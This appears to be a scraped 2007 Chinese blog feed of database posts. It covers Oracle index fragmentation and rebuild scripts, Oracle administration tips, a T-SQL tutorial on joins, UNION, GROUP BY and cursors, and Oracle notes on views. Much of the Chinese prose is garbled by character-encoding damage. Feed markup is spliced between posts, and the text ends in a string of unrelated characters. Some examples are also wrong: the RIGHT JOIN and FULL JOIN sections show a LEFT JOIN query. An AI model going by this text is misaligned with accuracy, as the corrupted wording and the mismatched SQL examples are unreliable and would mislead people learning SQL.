随着数据库的使用Q不可避免地对基本表q行插入Q更新和删除Q这样导致叶子行在烦引中被删除,使该索引产生片。插入删除越频繁的表Q烦引碎片的E度也越高。碎片的产生使访问和使用该烦引的I/O成本增加。碎片较高的索引必须重徏以保持最x能?br /><br />  Q?Q利用验证烦引命令对索引q行验证?br /><br />  q将有h值的索引信息填入index_stats表?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>validate index 用户?索引?br />/</td></tr></tbody></table><br />  Q?Q查询index_stats表以定索引中删除的、未填满的叶子行的百分比?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />name,<br />del_lf_rows,<br />lf_rows,<br />round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"<br />from index_stats<br />/</td></tr></tbody></table><br />  Q?Q如果烦引的叶子行的片过10%Q考虑对烦引进行重建?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index 用户?索引?rebuild<br />tablespace 表空间名<br />storage(initial 初始?next 扩展?<br />nologging<br />/</td></tr></tbody></table><br />  Q?Q如果出于空间或其他考虑Q不能重建烦引,可以整理索引?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index用户?索引?coalesce<br />/</td></tr></tbody></table><br />  Q?Q清除分析信?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze index 用户?索引?br />delete statistics<br />/</td></tr></tbody></table><p><br /> </p><p>? 重徏索引</p><p>  Q?Q检查需要重建的索引?/p><p>  Ҏ以下几方面进行检查,定需要重建的索引?/p><p>  W一Q查看SYSTEM表空间中的用L引?/p><p>  Z避免数据字典的碎片出玎ͼ要尽量避免在SYSTEM表空间出现用L表和索引?/p><p>select index_name <br />from dba_indexes <br />where tablespace_name='SYSTEM' <br />and owner not in ('SYS','SYSTEM')<br />/ </p><p>  W二Q确保用L表和索引不在同一表空间内?/p><p>  表和索引对象的第一个规则是把表和烦引分R把表和相应的烦引徏立在不同的表I间中,最好在不同的磁盘上。这样可以避免在数据理和查询时出现的许多I/O冲突?/p><p>set linesize 120<br />col "OWNER" format a20<br />col "INDEX" format a30<br />col "TABLE" format a30<br />col "TABLESPACE" format a30<br />select<br />i.owner "OWNER", <br />i.index_name "INDEX",<br />t.table_name "TABLE",<br />i.tablespace_name "TABLESPACE"<br />from <br />dba_indexes i,<br />dba_tables t<br />where i.owner=t.owner<br />and i.table_name=t.table_name<br />and i.tablespace_name=t.tablespace_name<br />and i.owner not in ('SYS','SYSTEM')<br />/ </p><p>  W三Q查看数据表I间里有哪些索引</p><p>  用户的默认表I间应该不是SYSTEM表空_而是数据表空间。在建立索引Ӟ如果不指定相应的索引表空间名Q那么,该烦引就会徏立在数据表空间中。这是程序员l常忽略的一个问题。应该在建烦引时Q明的指明相应的烦引表I间?/p><p>col segment_name format a30<br />select <br />owner,<br />segment_name,<br />sum(bytes) <br />from dba_segments<br />where tablespace_name='数据表空间名'<br />and segment_type='INDEX'<br />group by owner,segment_name<br />/ </p><p>  W四Q查看哪个烦引被扩展了超q?0?/p><p>  随着表记录的增加Q相应的索引也要增加。如果一个烦引的next extentD|不合理Q太)Q烦引段的扩展变得很频繁。烦引的extent太多Q检索时的速度和效率就会降低?/p><p>set linesize 100<br />col owner format a10<br />col segment_name format a30<br />col tablespace_name format a30<br />select<br />count(*),<br />owner,<br />segment_name,<br />tablespace_name<br />from dba_extents<br />where segment_type='INDEX'<br />and owner not in ('SYS','SYSTEM')<br />group by owner,segment_name,tablespace_name<br />having count(*) >10<br />order by count(*) desc<br />/<br /> </p><p>  Q?Q找出需要重建的索引后,需要确定烦引的大小Q以讄合理的烦引存储参数?/p><p>set linesize 120<br />col "INDEX" format a30<br />col "TABLESPACE" format a20<br />select<br />owner "OWNER",<br />segment_name "INDEX",<br />tablespace_name "TABLESPACE",<br />bytes "BYTES/COUNT",<br />sum(bytes) "TOTAL BYTES",<br />round(sum(bytes)/(1024*1024),0) "TOTAL M",<br />count(bytes) "TOTAL COUNT"<br />from dba_extents<br />where segment_type='INDEX' <br />and segment_name in <br />(<br />'索引?',<br />'索引?',<br />......<br />)<br />group by owner,segment_name,segment_type,tablespace_name,bytes<br />order by owner,segment_name<br />/ </p><p>  Q?Q确定烦引表I间q有_的剩余空间?/p><p>  定要把索引重徏到哪个烦引表I间中。要保证相应的烦引表I间有够的剩余I间?/p><p>select round(bytes/(1024*1024),2) free(M)<br />from sm$ts_free<br />where tablespace_name='表空间名'<br />/ </p><p>  Q?Q重建烦引?/p><p>  重徏索引时要注意以下几点Q?/p><p>  a.如果不指定tablespace名,索引徏在用L默认表空间?/p><p>  b.如果不指定nologgingQ将会写日志Q导致速度变慢。由于烦引的重徏没有恢复的必要,所以,可以不写日志?/p><p>  c.如果出现资源忙,表明有进E正在用该索引Q等待一会再提交?/p><p>alter index 索引?br />rebuild<br />tablespace 索引表空间名<br />storage(initial 初始?next 扩展?<br />nologging<br />/ </p><p>  Q?Q检查烦引?/p><p>  寚w建好的烦引进行检查?/p><p>select *<br />from dba_extents<br />where segment_name='索引?<br />/ </p><p>  Q?Q根据烦引进行查询,查烦引是否有?/p><p>  使用相应的where条gq行查询Q确保用该索引。看看用烦引后的效果如何?/p><p>select *<br />from dba_ind_columns<br />where index_name like '表名%'<br />/ </p><p>  然后Q根据相应的索引进行查询?/p><p>select *<br />from '表名%'<br />where ......<br />/ </p><p>  Q?Q找出有片的表I间Qƈ攉其碎片?/p><p>  重徏索引后,原有的烦引被删除Q这样会造成表空间的片?/p><p>select 'alter tablespace '||tablespace_name||' coalesce;'<br />from dba_free_space_coalesced<br />where percent_blocks_coalesced!=100<br />/ </p><p>  整理表空间的片?/p><p>alter tablespace 表空间名 coalesce<br /></p><img src ="http://www.aygfsteel.com/19851985lili/aggbug/102519.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/19851985lili/" target="_blank">☜♥☞MengChuChen</a> 2007-03-08 08:45 <a href="http://www.aygfsteel.com/19851985lili/articles/102519.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> Oracle 常用技巧和脚本 选择?yanlixin4csdn ?Blog http://www.aygfsteel.com/19851985lili/articles/102517.html☜♥☞MengChuChen☜♥☞MengChuChenThu, 08 Mar 2007 00:42:00 GMThttp://www.aygfsteel.com/19851985lili/articles/102517.htmlhttp://www.aygfsteel.com/19851985lili/comments/102517.htmlhttp://www.aygfsteel.com/19851985lili/articles/102517.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/102517.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/102517.html  
 如何查看ORACLE的隐含参敎ͼ


ORACLE的显式参敎ͼ除了在INIT.ORA文g中定义的外,在svrmgrl中用"show parameter *"Q可以显C。但ORACLEq有一些参数是以“_”,开头的。如我们非常熟悉的“_offline_rollback_segments”等?

q些参数可在sys.x$ksppi表中查出?

语句Q“select ksppinm from x$ksppi where substr(ksppinm,1,1)='_'; ?




2. 如何查看安装了哪些ORACLElgQ?

q入${ORACLE_HOME}/orainst/Q运?/inspdverQ显C安装组件和版本受?



3. 如何查看ORACLE所占用׃n内存的大?

可用UNIX命o“ipcs”查看共享内存的起始地址、信号量、消息队列?

在svrmgrl下,用“oradebug ipc”,可看出ORACLE占用׃n内存的分D和大小?

example:

SVRMGR> oradebug ipc
-------------- Shared memory --------------

Seg Id Address Size
1153 7fe000 784
1154 800000 419430400
1155 19800000 67108864


4. 如何查看当前SQL*PLUS用户的sid和serial#?

在SQL*PLUS下,q行Q?

“select sid, serial#, status from v$session

where audsid=userenv('sessionid');?



5. 如何查看当前数据库的字符集?

在SQL*PLUS下,q行Q?

“select userenv('language') from dual;?

或:

“select userenv('lang') from dual;?



6. 如何查看数据库中某用P正在q行什么SQL语句Q?

ҎMACHINE、USERNAME或SID、SERIAL#Q连接表V$SESSION和V$SQLTEXTQ可查出?

SQL*PLUS语句Q?

“SELECT SQL_TEXT FROM V$SQL_TEXT T, V$SESSION S WHERE T.ADDRESS=S.SQL_ADDRESS

AND T.HASH_VALUE=S.SQL_HASH_VALUE

AND S.MACHINE='XXXXX' OR USERNAME='XXXXX' -- 查看某主机名Q或用户?

/?

7. 如何删除表中的重复记录?

例句Q?

DELETE
FROM table_name a
WHERE rowid > ( SELECT min(rowid)
FROM table_name b
WHERE b.pk_column_1 = a.pk_column_1
and b.pk_column_2 = a.pk_column_2 );


8. 手工临时强制改变服务器字W集

以sys或systemdpȝQsql*plusq行Q“create database character set us7ascii;".
有以下错误提C:
* create database character set US7ASCII
ERROR at line 1:
ORA-01031: insufficient privileges
实际上,看v$nls_parametersQ字W集已更Ҏ功。但重启数据库后Q数据库字符集又变回原来的了?
该命令可用于临时的不同字W集服务器之间数据倒换之用?
9. 怎样查询每个instance分配的PCM锁的数目

用以下命令:

select count(*) "Number of hashed PCM locks" from v$lock_element where bitand(flags,4)<>0

/

select count(*) "Number of fine grain PCM locks" from v$lock_element

where bitand(flags,4)=0

/

10. 怎么判断当前正在使用何种SQL优化方式Q?

用explain plan产生EXPLAIN PLANQ检查PLAN_TABLE中ID=0的POSITION列的倹{?

e.g.

select decode(nvl(position,-1),-1,'RBO',1,'CBO') from plan_table where id=0

/

11. 做EXPORTӞ能否DUMP文g分成多个Q?

ORACLE8I中EXP增加了一个参数FILESIZEQ可一个文件分成多个:

EXP SCOTT/TIGER FILE=QORDER_1.DMP,ORDER_2.DMP,ORDER_3.DMP) FILESIZE=1G TABLES=ORDERQ?



其他版本的ORACLE在UNIX下可利用道和split分割Q?

mknod pipe p

split -b 2048m pipe order & #文件分割成Q每?GB大小的,以order为前~的文Ӟ

#orderaa,orderab,orderac,... q将该进E放在后台?

EXP SCOTT/TIGER FILE=pipe tables=order


]]>
ORACLE 杂谈 http://www.aygfsteel.com/19851985lili/articles/102514.html☜♥☞MengChuChen☜♥☞MengChuChenThu, 08 Mar 2007 00:40:00 GMThttp://www.aygfsteel.com/19851985lili/articles/102514.htmlhttp://www.aygfsteel.com/19851985lili/comments/102514.htmlhttp://www.aygfsteel.com/19851985lili/articles/102514.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/102514.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/102514.html阅读全文

]]>
常用SQL资料 http://www.aygfsteel.com/19851985lili/articles/102516.html☜♥☞MengChuChen☜♥☞MengChuChenThu, 08 Mar 2007 00:40:00 GMThttp://www.aygfsteel.com/19851985lili/articles/102516.htmlhttp://www.aygfsteel.com/19851985lili/comments/102516.htmlhttp://www.aygfsteel.com/19851985lili/articles/102516.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/102516.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/102516.html  常用SQL资料
Transact-SQL具体可以参阅《Transact-SQL参考?tsql.hlp)(写《T-SQL?
 
建意Q?/div>
  在写SQL Script时最好能数据操作SQL的保留字用大?/div>
注:
此处语法格式只是常用格式Qƈ不是SQL标准格式Q标准格式请参阅《T-SQL?/div>
Q在例子中的SQL无实际意义)
 
选择
SELECT
SELECT 可以选择指定的数据列
如:
SELECT * FROM sysobjects
SELECT [name] FROM syscolumns
当在SQL中存在系l保留字时应用“[]”引P或在SQL中存在特D字W也应用“[]”引P
如:
       SELECT [Object Name] FROM Objects
在用别名时也应注意以上原则Q别名用可以用以下两种ҎQ?/div>
       Column_name AS alias
       Column_name alias
中间的AS可以省略
在SELECT中可以用条仉择语法Q参见下面的“条件?/div>
       如:
              SELECT [name],xtype,CASE WHEN xtype=’U?THEN ‘用戯?ELSE CASE WHEN xtype=’S?THEN ‘系l表?END END AS cd FROM sysobjects
q回表:
name
xtype
cd
syscolumns
S
pȝ?/div>
tabledefine
U
用户?/div>
 
两个查询合成单独的q回表:
用UNION关键?/div>
如SELECT A,B FROM Table1
  UNOIN
  SELECT C,D FROM Table2
说明Q?/div>
       在用UNIONӞ若无ALL参数则默认将q虑相同的记录,
       如:
Table1
 
Table2
ID
TF1
VALUE1
 
ID
TF2
VALUE2
1
A
10
 
5
A
10
5
B
20
 
6
D
21
2
A
30
 
3
C
31
3
C
40
 
1
B
41
       SELECT TF1,VALUE1 FROM Table1
       UNION
       SELECT TF2,VALUE2 FROM Table2
       q回表:
             
TF1
VALUE1
A
10
B
20
A
30
C
40
D
21
C
31
B
41
       其中可以看出了一个”TF2=A ,VALUE2=10”的记录
       但用以下查询?/div>
       SELECT TF1,VALUE1 FROM Table1
       UNION  ALL
       SELECT TF2,VALUE2 FROM Table2
       q回表:
             
TF1
VALUE1
A
10
B
20
A
30
C
40
A
10
D
21
C
31
B
41
       刚此查询返回所有记?/div>
       此问题可能会出现在报表统计上Q如一个员工在不同日期内做了相同的产品与数据,但在使用非ALL方式q行合计时将会少合计一条记?/div>
 
与INTO联用
SELECT ? INTO B FROM A
可以A 表的指定数据存入B表中
应用cdQ?/div>
备䆾数据表:
              SELECT * INTO Table1_bak FROM Table1
       创徏新表
              SELECT * INTO New_Table1 FROM Table1 WHERE 1<>1
              SELECT TOP 0 * INTO New_Table1 FROM Table1
       保存查询l果
              SELECT Field1,Field2 INTO Result FROM Table1 WHERE ID>1000
       创徏新表q在新表中加入自动序?/div>
              一表有些表需要一个自动编号列来区别于各行
              SELECT IDENTITY (INT,1,1) AS AutoId,* INTO new_Table1 FROM Table1
              其中IDENTITY函数说明Q?/div>
                     格式Q?/div>
                            IDENTITY (<datatype> [seed,increment])
                     参数说明Q?/div>
                            Datatype:数据cdQ视记录数定cdQ一般可以定INT型,具体可以参考SQL的极限参?/div>
                            Seed:开始数|卛_始的基数Q默认ؓ1
                            Increment:增量Q步长即数据间的间隔Q默认ؓ1
              上面的SQL卌C,自动~号?开始ƈ每行?
q回的表为:
AutoId
Field1
Field2
1
Hello
Joy
2
Hello
Tom
3
Hi
Lily
4
Hello
Lily
              注:
                     IDENTITYq可以在创徏表时讄
                     格式Q?/div>
                            IDENTITY ([seed, increment])
                     如:
                            创徏?/div>
                            CREATE TABLE Table1 (
                                   AutoId int IDENTITY(1,1), ?autoid int identity
                                   Field1 nvarchar(30),
                                   Field2 nvarchar(30)
)
                            修改?/div>
                            ALTER TABLE Table1 ADD AutoId int IDENTITY (1,1)
              在进行数据插入时应注意IDENTITY_INSERTq个属性的讄
                     ?SET IDENTITY_INSERT <table> ON Ӟ则不能进行隐式插?/div>
                     如:
                            SET IDENTITY_INSERT Table1 ON
                            INSERT INTO Table1 SELECT (‘r1c1?’r1c2?         --q样׃出错
                            必需使用Q?/div>
                            INSERT INTO Table1 SELECT (1,’R1C1?’R1C2?
                     只能在SET IDENTITY_INSERT <table> OFF 时才允许隐式插入
                     如:
                            SET IDENTITY_INSERT Table OFF
必需使用Q?/div>
                            INSERT INTO Table1 SELECT (‘r1c1?’r1c2?        
                            否则
                            INSERT INTO Table1 SELECT (1,’R1C1?’R1C2? --q样׃出错
              在用隐式插入后可以用@@IDENTITYq个pȝ值来q回插入行的~号
                     INSERT INTO Table1 SELECT(‘R1C1?’R1C2?
                     q回表:
AutoID
Field1
Field2
1
R1C1
R1C2
                     SELECT @@IDENTITY
                     q回|
                            1
              在应用程序中可以用以下方法做Q?/div>
                     set recs=cnn.execute(“INSERT INTO Table1 SELECT(‘R1C1?’R1C2??
                     recordnum=cnn.execute(“SELECT @@IDENTITY?.fields(0).value
                     以上语句执行后recordnum的值将讄为最后一个自动编?/div>
 
       用例:
Table1
 
Table2
ID
TF1
VALUE1
 
ID
TF2
VALUE2
1
TFI1-1
10
 
5
TFI2-1
11
5
TFI1-2
20
 
6
TFI2-2
21
2
TFI1-3
30
 
3
TFI2-3
31
3
TFI1-4
40
 
1
TFI2-4
41
 
Table2
INNER JOIN
只显CZ表一一对应的记?/div>
SELECT * FROM Table1 INNER JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
q回表:
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
1
TFI2-4
41
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
 
LEFT JOIN(LEFT OUTER JOIN)
昄左表所有记录与双对应左表的记录,当在双中无记录Q则双相应字段用NULL填充
SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
q回表:
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
1
TFI2-4
41
2
TFI1-3
30
NULL
NULL
NULL
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
RIGHT JOIN(LEFT OUTER JOIN)
昄双所有记录与左表对应双的记录,当在左表中无记录Q则左表相应字段用NULL填充
SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
q回表:
ID
TF1
VALUE1
ID
TF2
VALUE2
NULL
NULL
NULL
6
TFI2-2
21
1
TFI1-1
10
1
TFI2-4
41
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
FULL JOIN(FULL OUTER JOIN)
昄左右两表所有记录,当左表无记录Q则左表相应字段用NULL填充Q当双无记录则双相关字段用NULL填充
SELECT * FROM Table1 LEFT JOIN Table2 ON Table1.ID=Table2.ID ORDER BY Table1.ID
q回表:
ID
TF1
VALUE1
ID
TF2
VALUE2
1
TFI1-1
10
1
TFI2-4
41
2
TFI1-3
30
NULL
NULL
NULL
3
TFI1-4
40
3
TFI2-3
31
5
TFI1-2
20
5
TFI2-1
11
NULL
NULL
NULL
6
TFI2-2
21
说明Q?/div>
       在进行多U关联的时候应该采用就q关联原?/div>
如:
       SELECT * FROM Table1 INNER JOIN Table2 INNER JOIN Table2-1 ON Table2.ID=Table2-1.ID ON Table1.ID=Table2.ID
即Table2与Table2-1兌
  Table1与Table2兌
建意Q?/div>
       在写此类兌Ӟ最好将句格式结构化
       如:
       SELECT *
       FROM
       Table1
       INNER JOIN Table2
              INNER JOIN Table2-1
                ON Table2.ID=Table2-1.ID
       ON Table1.ID=Table2.ID
       WHERE
       ID IN (1,2,3)
注:
       在写完查询语句后Q可以由“企业管理器”进行SQL语句的格式化Q但q一q程出来的语句一定要q行试Q因为在他自动格式化时可能会把某些复杂的关系搞错
 
分组
GROUP BY
Q没什么好_Q)
如:
       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B ORDER BY A
注:
       在进行GROUP BY 时应该注意GROUP BY 中字D늚使用Q?/div>
       只要在同一查询语句中则所有未q行骤合操作的字D都需要被GROUPQ?/div>
       如上面的SQL中,字段A,与B都未被骤合,q字DA被排序,而字DD被骤合函数SUMq行汇ȝ?/div>
       因此字段A,B需要被GROUP 而D则不?/div>
如:
      SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B,C ORDER BY C
在此查询中,虽然字段C没有被选择Q但他被ORDER因此字段C也应该在GROUP的字D中
如:
       SELECT A,B,SUM(D) FROM Table1 WHERE A IN (SELECT D FROM Table1 T1 WHERE NOT C IS NULL) GROUP BY A,B,C ORDER BY C
       在此查询中字DA,B为选择字段Q字DC为排序字D,但字DD虽然也在同一张表Table1中,但他在子查询中因此不用进行对D的GROUP
 
       若要对聚合结果进行筛选则应该使用HAVING关键字,而不是WHERE关键字,
       如:
       SELECT A,B,SUM(D) FROM Table1 WHERE COUNT(*)>2 GROUP BY A,B   ---q样会出错Q因为COUNTZ个聚合函敎ͼ在WHERE子句中不能对聚合函数q行{?/div>
       应改为:
       SELECT A,B,SUM(D) FROM Table1 GROUP BY A,B HAVING COUNT(*)>2
 
应用GROUP可以q行分类l计
相关的关键字为CUBE,ROLLUP但不建意使用q两个关键字Q?/div>
在一般情况下Q如果程序中的GRID有分cLd能,那相应的速度会比使用q两个关键字要快Q?/div>
与这两个关键字一起用的聚合函数为GROUPING()Q即当进行项目分cLLGROUPING()会q回1Q反之则?Qؓ可以写统计标题时提供参考,
具体说明请参见《T-SQL?/div>
具体实例在《SOMIC人力资源理》中<部门人员汇总表>中有应用
 
条g
CASE WHEN
此组关键字的功能可以代替IF…THEN?ELSE或SELECT CASE
语法l构Q?/div>
CASE  [expression]
      WHEN <condition> THEN result
        [ELSE else_result ]
    END
在查询中使用此语句时应尽量在END后加别名Q?/div>
       如:
              SELECT [name],xtype,CASE WHEN xtype=’U?THEN ‘用戯?ELSE CASE WHEN xtype=’S?THEN ‘系l?/div>
q回表:
name
xtype
cd
syscolumns
S
pȝ?/div>
tabledefine
U
用户?/div>
       详细用例请参考《hl计件工资》中<人员-部门产量汇总表>
       用此语句与SELECT用UNION联用能做行列换位
 
 
 
 
q程性语句应?/div>
 
变量定义
 
在SQL中用户变量是以@打头的字?pȝ变量用@@打头
如:
       @i
       @tmpStr
定义ҎQ?/div>
 Declare @i int
 Declare @tmpStr nvarchar(30)
 在完成变量定义后最好进行初始设|,?/div>
Set @i=0
Set tmpStr=’?/div>
?/div>
Select @i=0,@tmpStr=’?/div>
 在SQL中对变量的赋值应用SET或SELECTq行
 
游标定义
游标Q可以将查询l果q回为游标类?/div>
定义ҎQ?/div>
Declare cursor <CurName>
  For <SQL SCRIPT>
?
declare cursor GetName
  for SELECT [name] FROM sysobjects
游标使用ҎQ?/div>
打开游标Q?/div>
Open <CurName>
如:open GetName
索游标:
Fetch [NEXT | PRIOR | FIRST | LAST] form <CurName> [into <valuename>…]
如:
Fetch next from GetName into @tmpName
当取值成功后Q相应记录g填充在@tmpName变量中,q@@FETCH_STATUS变量|ؓ0Q?/div>
若失败则@@FETCH_STATUS变量?1
关闭游标
在用完游标后关闭他Q以便其他进E用此游标
CLOSE <curname>
如:
       Close GetName
删除游标
在用完游标后,如不再需要应该删除已使用游标Q?/div>
DEALLOCATE <curname>
如:
 Deallocate GetName


]]>ORACLE SQL性能优化pd http://www.aygfsteel.com/19851985lili/articles/102512.html☜♥☞MengChuChen☜♥☞MengChuChenThu, 08 Mar 2007 00:37:00 GMThttp://www.aygfsteel.com/19851985lili/articles/102512.htmlhttp://www.aygfsteel.com/19851985lili/comments/102512.htmlhttp://www.aygfsteel.com/19851985lili/articles/102512.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/102512.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/102512.html阅读全文

]]>
ORACLE学习W记 视图http://www.aygfsteel.com/19851985lili/articles/102460.html☜♥☞MengChuChen☜♥☞MengChuChenWed, 07 Mar 2007 12:08:00 GMThttp://www.aygfsteel.com/19851985lili/articles/102460.htmlhttp://www.aygfsteel.com/19851985lili/comments/102460.htmlhttp://www.aygfsteel.com/19851985lili/articles/102460.html#Feedback0http://www.aygfsteel.com/19851985lili/comments/commentRss/102460.htmlhttp://www.aygfsteel.com/19851985lili/services/trackbacks/102460.htmlORACLE学习W记 视图
2007-01-29 09:34

Oracle的数据库对象分ؓ五种Q表Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图Q序列,索引和同义词?/font>

    视图是基于一个表或多个表?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图的逻辑表,本n不包含数据,通过它可以对表里面的数据q行查询和修攏V?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图Z的表UCؓ?/font>

    视图是存储在数据字典里的一条select语句?nbsp;通过创徏视图可以提取数据的逻辑上的集合或组合?/font>

视图的优点:

      1.Ҏ据库的访问,因ؓ视图可以有选择性的选取数据库里的一部分?/font>

      2.用户通过单的查询可以从复杂查询中得到l果?/font>

      3.l护数据的独立性,试图可从多个表检索数据?/font>

      4.对于相同的数据可产生不同?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图?/font>

视图分ؓ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图和复?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图Q?/font>

      ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图只从单表里获取数?br>      复杂视图从多?br> 
      ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图不包含函数和数据l?br>      复杂视图包含

     ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图可以实现DML操作
     复杂视图不可?

视图的创建:

    CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name 

   [( alias [,  alias ]...)] 

  AS  subquery  
  [WITH CHECK OPTION [CONSTRAINT  constraint ]] 
  [WITH READ ONLY] 
OR REPLACE    Q若所创徏的试囑ַl存在,ORACLE自动重徏?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图Q?/font>
FORCE              Q不基表是否存?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">ORACLE都会自动创徏?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图Q?/font>
NOFORCE         Q只有基表都存在ORACLE才会创徏?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图Q?/font>
alias                   Qؓ视图产生的列定义的别名;
subquery           Q一条完整的SELECT语句Q可以在该语句中定义别名Q?/font>
WITH CHECK  OPTION Q?/font>
                            插入或修改的数据行必L?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图定义的约束;
WITH READ ONLY Q?/font>
                           ?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图上不能进行Q何DML操作?/font>
例如Q?/font>
       CREATE  OR  REPLACE  VIEW  dept_sum_vw
               (name,minsal,maxsal,avgsal)
       AS  SELECT d.dname,min(e.sal),max(e.sal),avg(e.sal)
       FROM    emp e,dept d
       WHERE  e.deptno=d.deptno
       GROUP  BY  d.dname;
 
视图的定义原则:
       1.视图的查询可以用复杂的SELECT语法Q包括连?分组查询和子查询Q?/font>
       2.在没有WITH CHECK OPTION?nbsp;READ ONLY 的情况下Q查询中不能使用
          ORDER BY 子句Q?/font>
       3.如果没有为CHECK OPTIONU束命名Q系l会自动Z命名QŞ式ؓSYS_Cn;
       4.OR REPLACE选项可以不删除原视图便可更改其定义ƈ重徏Q或重新授予对象
          权限?/font>
 
视图的查询:
          视图创徏成功后,可以?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图中检索数据,q点和从表中索数据一栗?/font>
          q可以查?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图的全部信息和指定的数据行和列?/font>
   如:
 
         索数据:
          SQL>SELECT * FROM  dept_sum_vwQ?/font>
 
         查询视图定义Q?/font>
         SELECT view_name,text  from user_views;
            其中text昄的内容ؓ视图定义的SELECT语句Q可通过DESC USER_VIEWS
            得到相关信息?/font>
 
修改视图Q?/font>
        通过OR REPLACE 重新创徏同名视图卛_?/font>
 
视图上的DML 操作Q?/font>
        DML操作应遵循的原则Q?/font>
        1.?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图可以执行DML操作Q?/font>
        2.?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图包含GROUP 函数QGROUP BY子句QDISTINCT关键字时不能
           删除数据行;
        3.?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图不出C列情冉|可通过视图修改数据或插入数据:
            a.视图中包含GROUP 函数QGROUP BY子句QDISTINCT关键字;
            b.使用表达式定义的列;
            c.ROWNUM伪列?/font>
            d.中未?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图中选择的其他列定义为非IZ无默认倹{?/font>
 
 
视图可用于保持数据库的完整性,但作用有限?/font>
通过视图执行引用完整性约束可在数据库U执行约束?/font>
 
WITH CHECK OPTION 子句限定Q?/font>
         通过视图执行的INSERTS和UPDATES操作不能创徏?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图索不到的数据行,
         因ؓ它会Ҏ入或修改的数据行执行完整性约束和数据有效性检查?/font>
  例如Q?/font>
           CREATE OR REPLACE VIEW  vw_emp20
           AS  SELECT *  FROM  emp
           WHERE  deptno=20
           WITH CHECK OPTION constraint  vw_emp20_ck;
          视图 已徏立?/font>
 
            查询l果Q?/font>
           SELECT empno,ename,job FROM vw_emp20;
           
          EMPNO                ENAME                JOB
---------------------           --------------          -------------
              7369                 SMITH                CLERK
              7566                 JONES               MANAGER
              7902                 FORD                ANALYST
 
          修改Q?/font>
                UPDATE vw_emp20 
                SET        deptno=20
                WHERE   empno=7902;
           生错误:
               UPDATE vw_emp20 
                              *
               ERROR 位于W一行:
               ORA-01402Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图WITH CHECK OPTION q反WHERE 子句
 
视图的删除:
            DROP VIEW  VIEW_NAME语句删除视图?/font>
            删除视图的定义不影响中的数据?/font>
            只有视图所有者和具备DROP VIEW权限的用户可以删?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图?/font>
            视图被删除后Q基于被删除视图的其?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">视图或应用将无效?/font>


]]> վ֩ģ壺 | | | | ÷| ƽ| | ʯ| | ʡ| | | | ˳| »| Դ| | ͨ| ¹| ӯ| ٰ| | | | ˳| ƽɽ| | | | | | | ۷| | | ƽ| | | Ӣ| ѭ| |